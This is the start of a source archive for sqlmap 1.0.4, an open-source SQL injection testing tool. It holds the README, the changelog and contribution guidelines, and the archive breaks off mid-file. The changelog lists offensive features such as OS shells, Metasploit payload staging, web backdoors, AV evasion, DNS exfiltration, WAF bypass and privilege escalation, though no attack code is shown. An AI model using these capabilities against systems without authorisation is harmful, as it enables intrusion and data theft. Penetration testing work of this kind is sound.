pax_global_header00006660000000000000000000000064127004420550014511gustar00rootroot0000000000000052 comment=d881a92ee7eb685e3410b34e3c5e3f32ffbf912e sqlmap-1.0.4/000077500000000000000000000000001270044205500130105ustar00rootroot00000000000000sqlmap-1.0.4/.gitattributes000066400000000000000000000002631270044205500157040ustar00rootroot00000000000000*.py text eol=lf *.conf text eol=lf *_ binary *.dll binary *.pdf binary *.so binary *.wav binary *.zip binary *.x32 binary *.x64 binary *.exe binary *.sln binary *.vcproj binary sqlmap-1.0.4/.gitignore000066400000000000000000000000601270044205500147740ustar00rootroot00000000000000*.py[cod] output/ .sqlmap_history traffic.txt *~sqlmap-1.0.4/.travis.yml000066400000000000000000000001531270044205500151200ustar00rootroot00000000000000language: python python: - "2.6" - "2.7" script: - python -c "import sqlmap; import sqlmapapi" sqlmap-1.0.4/README.md000066400000000000000000000074531270044205500143000ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. Screenshots ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki. Installation ---- You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master). Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository: git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6.x** and **2.7.x** on any platform. Usage ---- To get a list of basic options and switches use: python sqlmap.py -h To get a list of all options and switches use: python sqlmap.py -hh You can find a sample run [here](https://gist.github.com/stamparm/5335217). To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki). Links ---- * Homepage: http://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * User's manual: https://github.com/sqlmapproject/sqlmap/wiki * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users * Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap * Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots Translations ---- * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) sqlmap-1.0.4/doc/000077500000000000000000000000001270044205500135555ustar00rootroot00000000000000sqlmap-1.0.4/doc/AUTHORS000066400000000000000000000002761270044205500146320ustar00rootroot00000000000000Bernardo Damele Assumpcao Guimaraes (@inquisb) Miroslav Stampar (@stamparm) You can contact both developers by writing to dev@sqlmap.org sqlmap-1.0.4/doc/CHANGELOG.md000066400000000000000000001001121270044205500153610ustar00rootroot00000000000000# Version 1.0 (2016-02-27) * Implemented support for automatic decoding of page content through detected charset. * Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.). * Major improvements to program stabilization based on user reports. * Added new tampering scripts avoiding popular WAF/IPS/IDS mechanisms. * Fixed major bug with DNS leaking in Tor mode. * Added wordlist compilation made of the most popular cracking dictionaries. * Implemented multi-processor hash cracking routine(s). * Implemented advanced detection techniques for inband and time-based injections by usage of standard deviation method. * Old resume files are now deprecated and replaced by faster SQLite based session mechanism. * Substantial code optimization and smaller memory footprint. * Added option `-m` for scanning multiple targets enlisted in a given textual file. * Added option `--randomize` for randomly changing value of a given parameter(s) based on it's original form. * Added switch `--force-ssl` for forcing usage of SSL/HTTPS requests. * Added option `--host` for manually setting HTTP Host header value. * Added option `--eval` for evaluating provided Python code (with resulting parameter values) right before the request itself. * Added option `--skip` for skipping tests for given parameter(s). * Added switch `--titles` for comparing pages based only on their titles. * Added option `--charset` for forcing character encoding used for data retrieval. * Added switch `--check-tor` for checking if Tor is used properly. * Added option `--crawl` for multithreaded crawling of a given website starting from the target url. * Added option `--csv-del` for manually setting delimiting character used in CSV output. * Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval. * Added switch `--smart` for conducting through tests only in case of positive heuristic(s). * Added switch `--check-waf` for checking of existence of WAF/IPS/IDS protection. * Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables. * Added switch `--count` to count the number of entries for a specific table or all database(s) tables. * Major improvements to switches `--tables` and `--columns`. * Takeover switch `--os-pwn` improved: stealthier, faster and AV-proof. * Added switch `--mobile` to imitate a mobile device through HTTP User-Agent header. * Added switch `-a` to enumerate all DBMS data. * Added option `--alert` to run host OS command(s) when SQL injection is found. * Added option `--answers` to set user answers to asked questions during sqlmap run. * Added option `--auth-file` to set HTTP authentication PEM cert/private key file. * Added option `--charset` to force character encoding used during data retrieval. * Added switch `--check-tor` to force checking of proper usage of Tor. * Added option `--code` to set HTTP code to match when query is evaluated to True. * Added option `--cookie-del` to set character to be used while splitting cookie values. * Added option `--crawl` to set the crawling depth for the website starting from the target URL. * Added option `--crawl-exclude` for setting regular expression for excluding pages from crawling (e.g. `"logout"`). * Added option `--csrf-token` to set the parameter name that is holding the anti-CSRF token. * Added option `--csrf-url` for setting the URL address for extracting the anti-CSRF token. * Added option `--csv-del` for setting the delimiting character that will be used in CSV output (default `,`). * Added option `--dbms-cred` to set the DBMS authentication credentials (user:password). * Added switch `--dependencies` for turning on the checking of missing (non-core) sqlmap dependencies. * Added switch `--disable-coloring` to disable console output coloring. * Added option `--dns-domain` to set the domain name for usage in DNS exfiltration attack(s). * Added option `--dump-format` to set the format of dumped data (`CSV` (default), `HTML` or `SQLITE`). * Added option `--eval` for setting the Python code that will be evaluated before the request. * Added switch `--force-ssl` to force usage of SSL/HTTPS. * Added switch `--hex` to force usage of DBMS hex function(s) for data retrieval. * Added option `-H` to set extra HTTP header (e.g. `"X-Forwarded-For: 127.0.0.1"`). * Added switch `-hh` for showing advanced help message. * Added option `--host` to set the HTTP Host header value. * Added switch `--hostname` to turn on retrieval of DBMS server hostname. * Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method. * Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS/IDS protection. * Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized). * Added switch `--invalid-bignum` for usage of big numbers while invalidating values. * Added switch `--invalid-logical` for usage of logical operations while invalidating values. * Added switch `--invalid-string` for usage of random strings while invalidating values. * Added option `--load-cookies` to set the file containing cookies in Netscape/wget format. * Added option `-m` to set the textual file holding multiple targets for scanning purposes. * Added option `--method` to force usage of provided HTTP method (e.g. `PUT`). * Added switch `--no-cast` for turning off payload casting mechanism. * Added switch `--no-escape` for turning off string escaping mechanism. * Added option `--not-string` for setting string to be matched when query is evaluated to False. * Added switch `--offline` to force work in offline mode (i.e. only use session data). * Added option `--output-dir` to set custom output directory path. * Added option `--param-del` to set character used for splitting parameter values. * Added option `--pivot-column` to set column name that will be used while dumping tables by usage of pivot(ing). * Added option `--proxy-file` to set file holding proxy list. * Added switch `--purge-output` to turn on safe removal of all content(s) from output directory. * Added option `--randomize` to set parameter name(s) that will be randomly changed during sqlmap run. * Added option `--safe-post` to set POST data for sending to safe URL. * Added option `--safe-req` for loading HTTP request from a file that will be used during sending to safe URL. * Added option `--skip` to skip testing of given parameter(s). * Added switch `--skip-static` to skip testing parameters that not appear dynamic. * Added switch `--skip-urlencode` to skip URL encoding of payload data. * Added switch `--skip-waf` to skip heuristic detection of WAF/IPS/IDS protection. * Added switch `--smart` to conduct thorough tests only if positive heuristic(s). * Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi). * Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt. * Added option `--test-filter` for test filtration by payloads and/or titles (e.g. `ROW`). * Added option `--test-skip` for skiping tests by payloads and/or titles (e.g. `BENCHMARK`). * Added switch `--titles` to turn on comparison of pages based only on their titles. * Added option `--tor-port` to explicitly set Tor proxy port. * Added option `--tor-type` to set Tor proxy type (`HTTP` (default), `SOCKS4` or `SOCKS5`). * Added option `--union-from` to set table to be used in `FROM` part of UNION query SQL injection. * Added option `--where` to set `WHERE` condition to be used during the table dumping. * Added option `-X` to exclude DBMS database table column(s) from enumeration. * Added option `-x` to set URL of sitemap(.xml) for target(s) parsing. * Added option `-z` for usage of short mnemonics (e.g. `"flu,bat,ban,tec=EU"`). # Version 0.9 (2011-04-10) * Rewritten SQL injection detection engine. * Support to directly connect to the database without passing via a SQL injection, option `-d`. * Added full support for both time-based blind SQL injection and error-based SQL injection techniques. * Implemented support for SQLite 2 and 3. * Implemented support for Firebird. * Implemented support for Microsoft Access, Sybase and SAP MaxDB. * Extended old `--dump -C` functionality to be able to search for specific database(s), table(s) and column(s), option `--search`. * Added support to tamper injection data with option `--tamper`. * Added automatic recognition of password hashes format and support to crack them with a dictionary-based attack. * Added support to enumerate roles on Oracle, `--roles` switch. * Added support for SOAP based web services requests. * Added support to fetch unicode data. * Added support to use persistent HTTP(s) connection for speed improvement, switch `--keep-alive`. * Implemented several optimization switches to speed up the exploitation of SQL injections. * Support to test and inject against HTTP Referer header. * Implemented HTTP(s) proxy authentication support, option `--proxy-cred`. * Implemented feature to speedup the enumeration of table names. * Support for customizable HTTP(s) redirections. * Support to replicate the back-end DBMS tables structure and entries in a local SQLite 3 database, switch `--replicate`. * Support to parse and test forms on target url, switch `--forms`. * Added switches to brute-force tables names and columns names with a dictionary attack, `--common-tables` and `--common-columns`. Useful for instance when system table `information_schema` is not available on MySQL. * Basic support for REST-style URL parameters by using the asterisk (`*`) to mark where to test for and exploit SQL injection. * Added safe URL feature, `--safe-url` and `--safe-freq`. * Added switch `--text-only` to strip from the HTTP response body the HTML/JS code and compare pages based only on their textual content. * Implemented few other features and switches. * Over 100 bugs fixed. * Major code refactoring. * User's manual updated. # Version 0.8 (2010-03-14) * Support to enumerate and dump all databases' tables containing user provided column(s) by specifying for instance `--dump -C user,pass`. Useful to identify for instance tables containing custom application credentials. * Support to parse `-C` (column name(s)) when fetching columns of a table with `--columns`: it will enumerate only columns like the provided one(s) within the specified table. * Support for takeover features on PostgreSQL 8.4. * Enhanced `--priv-esc` to rely on new Metasploit Meterpreter's 'getsystem' command to elevate privileges of the user running the back-end DBMS instance to SYSTEM on Windows. * Automatic support in `--os-pwn` to use the web uploader/backdoor to upload and execute the Metasploit payload stager when stacked queries SQL injection is not supported, for instance on MySQL/PHP and MySQL/ASP, but there is a writable folder within the web server document root. * Fixed web backdoor functionality for `--os-cmd`, `--os-shell` and `--os-pwn` useful when web application does not support stacked queries. * Added support to properly read (`--read-file`) also binary files via PostgreSQL by injecting sqlmap new `sys_fileread()` user-defined function. * Updated active fingerprint and comment injection fingerprint for MySQL 5.1, MySQL 5.4 and MySQL 5.5. * Updated active fingerprint for PostgreSQL 8.4. * Support for NTLM authentication via python-ntlm third party library, http://code.google.com/p/python-ntlm/, `--auth-type NTLM`. * Support to automatically decode `deflate`, `gzip` and `x-gzip` HTTP responses. * Support for Certificate authentication, `--auth-cert` option added. * Added support for regular expression based scope when parsing Burp or Web Scarab proxy log file (`-l`), `--scope`. * Added option `-r` to load a single HTTP request from a text file. * Added switch `--ignore-proxy` to ignore the system default HTTP proxy. * Added support to ignore Set-Cookie in HTTP responses, `--drop-set-cookie`. * Added support to specify which Google dork result page to parse, `--gpage` to be used together with `-g`. * Major bug fix and enhancements to the multi-threading (`--threads`) functionality. * Fixed URL encoding/decoding of GET/POST parameters and Cookie header. * Refactored `--update` to use `python-svn` third party library if available or `svn` command to update sqlmap to the latest development version from subversion repository. * Major bugs fixed. * Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack. * Major code cleanup. * Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus softwares that mistakenly mark sqlmap as a malware. * Updated user's manual. * Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from http://sqlmap.org/demo.html. # Version 0.8 release candidate (2009-09-21) * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (`--os-bof`) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added support for `--first` and `--last` so the user now has even more granularity in what to enumerate in the query output. * Minor enhancement to save the session by default in 'output/hostname/session' file if `-s` option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring. # Version 0.7 (2009-07-25) * Adapted Metasploit wrapping functions to work with latest 3.3 development version too. * Adjusted code to make sqlmap 0.7 to work again on Mac OSX too. * Reset takeover OOB features (if any of `--os-pwn`, `--os-smbrelay` or `--os-bof` is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7 to work again on Windows too. * Minor improvement so that sqlmap tests also all parameters with no value (eg. par=). * HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+. * Major bug fix to sql-query/sql-shell features. * Major bug fix in `--read-file` option. * Major silent bug fix to multi-threading functionality. * Fixed the web backdoor functionality (for MySQL) when (usually) stacked queries are not supported and `--os-shell` is provided. * Fixed MySQL 'comment injection' version fingerprint. * Fixed basic Microsoft SQL Server 2000 fingerprint. * Many minor bug fixes and code refactoring. # Version 0.7 release candidate (2009-04-22) * Added support to execute arbitrary commands on the database server underlying operating system either returning the standard output or not via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored procedure on Microsoft SQL Server; * Added support for out-of-band connection between the attacker box and the database server underlying operating system via stand-alone payload stager created by Metasploit and supporting Meterpreter, shell and VNC payloads for both Windows and Linux; * Added support for out-of-band connection via Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploitation with multi-stage Metasploit payload support; * Added support for out-of-band connection via SMB reflection attack with UNC path request from the database server to the attacker box by using the Metasploit smb_relay exploit; * Added support to read and write (upload) both text and binary files on the database server underlying file system for MySQL, PostgreSQL and Microsoft SQL Server; * Added database process' user privilege escalation via Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via either Meterpreter's incognito extension or Churrasco stand-alone executable; * Speed up the inference algorithm by providing the minimum required charset for the query output; * Major bug fix in the comparison algorithm to correctly handle also the case that the url is stable and the False response changes the page content very little; * Many minor bug fixes, minor enhancements and layout adjustments. # Version 0.6.4 (2009-02-03) * Major enhancement to make the comparison algorithm work properly also on url not stables automatically by using the difflib Sequence Matcher object; * Major enhancement to support SQL data definition statements, SQL data manipulation statements, etc from user in SQL query and SQL shell if stacked queries are supported by the web application technology; * Major speed increase in DBMS basic fingerprint; * Minor enhancement to support an option (`--is-dba`) to show if the current user is a database management system administrator; * Minor enhancement to support an option (`--union-tech`) to specify the technique to use to detect the number of columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause bruteforcing; * Added internal support to forge CASE statements, used only by `--is-dba` query at the moment; * Minor layout adjustment to the `--update` output; * Increased default timeout to 30 seconds; * Major bug fix to correctly handle custom SQL "limited" queries on Microsoft SQL Server and Oracle; * Major bug fix to avoid tracebacks when multiple targets are specified and one of them is not reachable; * Minor bug fix to make the Partial UNION query SQL injection technique work properly also on Oracle and Microsoft SQL Server; * Minor bug fix to make the `--postfix` work even if `--prefix` is not provided; * Updated documentation. # Version 0.6.3 (2008-12-18) * Major enhancement to get list of targets to test from Burp proxy (http://portswigger.net/suite/) requests log file path or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) 'conversations/' folder path by providing option -l ; * Major enhancement to support Partial UNION query SQL injection technique too; * Major enhancement to test if the web application technology supports stacked queries (multiple statements) by providing option `--stacked-test` which will be then used someday also by takeover functionality; * Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by providing option `--time-test`; * Minor enhancement to fingerprint the web server operating system and the web application technology by parsing some HTTP response headers; * Minor enhancement to fingerprint the back-end DBMS operating system by parsing the DBMS banner value when -b option is provided; * Minor enhancement to be able to specify the number of seconds before timeout the connection by providing option `--timeout #`, default is set to 10 seconds and must be 3 or higher; * Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing option `--delay #`; * Minor enhancement to be able to get the injection payload `--prefix` and `--postfix` from user; * Minor enhancement to be able to enumerate table columns and dump table entries, also when the database name is not provided, by using the current database on MySQL and Microsoft SQL Server, the 'public' scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle; * Minor enhancemet to support also `--regexp`, `--excl-str` and `--excl-reg` options rather than only `--string` when comparing HTTP responses page content; * Minor enhancement to be able to specify extra HTTP headers by providing option `--headers`. By default Accept, Accept-Language and Accept-Charset headers are set; * Minor improvement to be able to provide CU (as current user) as user value (`-U`) when enumerating users privileges or users passwords; * Minor improvements to sqlmap Debian package files; * Minor improvement to use Python psyco (http://psyco.sourceforge.net/) library if available to speed up the sqlmap algorithmic operations; * Minor improvement to retry the HTTP request up to three times in case an exception is raised during the connection to the target url; * Major bug fix to correctly enumerate columns on Microsoft SQL Server; * Major bug fix so that when the user provide a SELECT statement to be processed with an asterisk as columns, now it also work if in the FROM there is no database name specified; * Minor bug fix to correctly dump table entries when the column is provided; * Minor bug fix to correctly handle session.error, session.timeout and httplib.BadStatusLine exceptions in HTTP requests; * Minor bug fix to correctly catch connection exceptions and notify to the user also if they occur within a thread; * Increased default output level from 0 to 1; * Updated documentation. # Version 0.6.2 (2008-11-02) * Major bug fix to correctly dump tables entries when `--stop` is not specified; * Major bug fix so that the users' privileges enumeration now works properly also on both MySQL < 5.0 and MySQL >= 5.0; * Major bug fix when the request is POST to also send the GET parameters if any have been provided; * Major bug fix to correctly update sqlmap to the latest stable release with command line `--update`; * Major bug fix so that when the expected value of a query (count variable) is an integer and, for some reasons, its resumed value from the session file is a string or a binary file, the query is executed again and its new output saved to the session file; * Minor bug fix in MySQL comment injection fingerprint technique; * Minor improvement to correctly enumerate tables, columns and dump tables entries on Oracle and on PostgreSQL when the database name is not 'public' schema or a system database; * Minor improvement to be able to dump entries on MySQL < 5.0 when database name, table name and column(s) are provided; * Updated the database management system fingerprint checks to correctly identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3; * More user-friendly warning messages. # Version 0.6.1 (2008-08-20) * Major bug fix to blind SQL injection bisection algorithm to handle an exception; * Added a Metasploit Framework 3 auxiliary module to run sqlmap; * Implemented possibility to test for and inject also on LIKE statements; * Implemented `--start` and `--stop` options to set the first and the last table entry to dump; * Added non-interactive/batch-mode (`--batch`) option to make it easy to wrap sqlmap in Metasploit and any other tool; * Minor enhancement to save also the length of query output in the session file when retrieving the query output length for ETA or for resume purposes; * Changed the order sqlmap dump table entries from column by column to row by row. Now it also dumps entries as they are stored in the tables, not forcing the entries' order alphabetically anymore; * Minor bug fix to correctly handle parameters' value with `%` character. # Version 0.6 (2008-09-01) * Complete code refactor and many bugs fixed; * Added multithreading support to set the maximum number of concurrent HTTP requests; * Implemented SQL shell (`--sql-shell`) functionality and fixed SQL query (`--sql-query`, before called `-e`) to be able to run whatever SELECT statement and get its output in both inband and blind SQL injection attack; * Added an option (`--privileges`) to retrieve DBMS users privileges, it also notifies if the user is a DBMS administrator; * Added support (`-c`) to read options from configuration file, an example of valid INI file is sqlmap.conf and support (`--save`) to save command line options on a configuration file; * Created a function that updates the whole sqlmap to the latest stable version available by running sqlmap with `--update` option; * Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.) installation binary packages; * Created sqlmap .exe (Windows) portable executable; * Save a lot of more information to the session file, useful when resuming injection on the same target to not loose time on identifying injection, UNION fields and back-end DBMS twice or more times; * Improved automatic check for parenthesis when testing and forging SQL query vector; * Now it checks for SQL injection on all GET/POST/Cookie parameters then it lets the user select which parameter to perform the injection on in case that more than one is injectable; * Implemented support for HTTPS requests over HTTP(S) proxy; * Added a check to handle NULL or not available queries output; * More entropy (randomStr() and randomInt() functions in lib/core/common.py) in inband SQL injection concatenated query and in AND condition checks; * Improved XML files structure; * Implemented the possibility to change the HTTP Referer header; * Added support to resume from session file also when running with inband SQL injection attack; * Added an option (`--os-shell`) to execute operating system commands if the back-end DBMS is MySQL, the web server has the PHP engine active and permits write access on a directory within the document root; * Added a check to assure that the provided string to match (`--string`) is within the page content; * Fixed various queries in XML file; * Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted the library to parse it; * Fixed password fetching function, mainly for Microsoft SQL Server and reviewed the password hashes parsing function; * Major bug fixed to avoid tracebacks when the testable parameter(s) is dynamic, but not injectable; * Enhanced logging system: added three more levels of verbosity to show also HTTP sent and received traffic; * Enhancement to handle Set-Cookie from target url and automatically re-establish the Session when it expires; * Added support to inject also on Set-Cookie parameters; * Implemented TAB completion and command history on both `--sql-shell` and `--os-shell`; * Renamed some command line options; * Added a conversion library; * Added code schema and reminders for future developments; * Added Copyright comment and $Id$; * Updated the command line layout and help messages; * Updated some docstrings; * Updated documentation files. # Version 0.5 (2007-11-04) * Added support for Oracle database management system * Extended inband SQL injection functionality (`--union-use`) to all other possible queries since it only worked with `-e` and `--file` on all DMBS plugins; * Added support to extract database users password hash on Microsoft SQL Server; * Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently improving database fingerprinting; * Added support for SQL injection on HTTP Cookie and User-Agent headers; * Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Splitted getValue() into getInband() and getBlind(); * Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to perform a UNION query SQL injection attack; * Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables; * Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (`--exclude-sysdbs`); * Implemented in Dump.dbTableValues() method the CSV file dumped data automatic saving in csv/ folder by default; * Added DB2, Informix and Sybase DBMS error messages and minor improvements in xml/errors.xml; * Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/ column are specified to be dumped; * Important fixes in lib/option.py to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function __setCSVDir() and fixed also in lib/dump.py; * Minor enhancement in lib/injection.py to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (q) the for cycle when using the google dork option (`-g`); * Minor fix in lib/request.py to properly encode the url to request in case the "fixed" part of the url has blank spaces; * More minor layout enhancements in some libraries; * Renamed DMBS plugins; * Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; * Updated all documentation files. # Version 0.4 (2007-06-15) * Added DBMS fingerprint based also upon HTML error messages parsing defined in lib/parser.py which reads an XML file defining default error messages for each supported DBMS; * Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS; * Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`); * Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`); * Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation ; * Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS; * Improved logging functionality: passed from banal 'print' to Python native logging library; * Added support for more than one parameter in `-p` command line option; * Added support for HTTP Basic and Digest authentication methods (`--basic-auth` and `--digest-auth`); * Added the command line option `--remote-dbms` to manually specify the remote DBMS; * Major improvements in union.UnionCheck() and union.UnionUse() functions to make it possible to exploit inband SQL injection also with database comment characters (`--` and `#`) in UNION query statements; * Added the possibility to save the output into a file while performing the queries (`-o OUTPUTFILE`) so it is possible to stop and resume the same query output retrieving in a second time (`--resume`); * Added support to specify the database table column to enumerate (`-C COL`); * Added inband SQL injection (UNION query) support (`--union-use`); * Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; * Reviewed the directory tree structure; * Splitted lib/common.py: inband injection functionalities now are moved to lib/union.py; * Updated documentation files. # Version 0.3 (2007-01-20) * Added module for MS SQL Server; * Strongly improved MySQL dbms active fingerprint and added MySQL comment injection check; * Added PostgreSQL dbms active fingerprint; * Added support for string match (`--string`); * Added support for UNION check (`--union-check`); * Removed duplicated code, delegated most of features to the engine in common.py and option.py; * Added support for `--data` command line argument to pass the string for POST requests; * Added encodeParams() method to encode url parameters before making http request; * Many bug fixes; * Rewritten documentation files; * Complete code restyling. # Version 0.2 (2006-12-13) * complete refactor of entire program; * added TODO and THANKS files; * added some papers references in README file; * moved headers to user-agents.txt, now -f parameter specifies a file (user-agents.txt) and randomize the selection of User-Agent header; * strongly improved program plugins (mysqlmap.py and postgres.py), major enhancements: * improved active mysql fingerprint check_dbms(); * improved enumeration functions for both databases; * minor changes in the unescape() functions; * replaced old inference algorithm with a new bisection algorithm. * reviewed command line parameters, now with -p it's possible to specify the parameter you know it's vulnerable to sql injection, this way the script won't perform the sql injection checks itself; removed the TOKEN parameter; * improved Common class, adding support for http proxy and http post method in hash_page; * added OptionCheck class in option.py which performs all needed checks on command line parameters and values; * added InjectionCheck class in injection.py which performs check on url stability, dynamics of parameters and injection on dynamic url parameters; * improved output methods in dump.py; * layout enhancement on main program file (sqlmap.py), adapted to call new option/injection classes and improvements on catching of exceptions. sqlmap-1.0.4/doc/CONTRIBUTING.md000066400000000000000000000075371270044205500160220ustar00rootroot00000000000000# Contributing to sqlmap ## Reporting bugs **Bug reports are welcome**! Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues). ### Guidelines * Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant. * Make sure you can reproduce the bug with the latest development version of sqlmap. * Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal. * If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?* * If you are not sure whether something is a bug, or want to discuss a potential new feature before putting in an enhancement request, the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users) is a good place to bring it up. ## Submitting code changes All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37). Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests). Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next! ### Guidelines In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions: * Each patch should make one logical change. * Wrap code to 76 columns when possible. * Avoid tabbing, use four blank spaces instead. * Before you put time into a non-trivial patch, it is worth discussing it on the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users) or privately by [email](mailto:dev@sqlmap.org). * Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected. * Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests. * Style that is too different from main branch will be ''adapted'' by the developers side. * Do not touch anything inside `thirdparty/` and `extra/` folders. ### Licensing By submitting code contributions to the sqlmap developers, to the mailing list, or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code 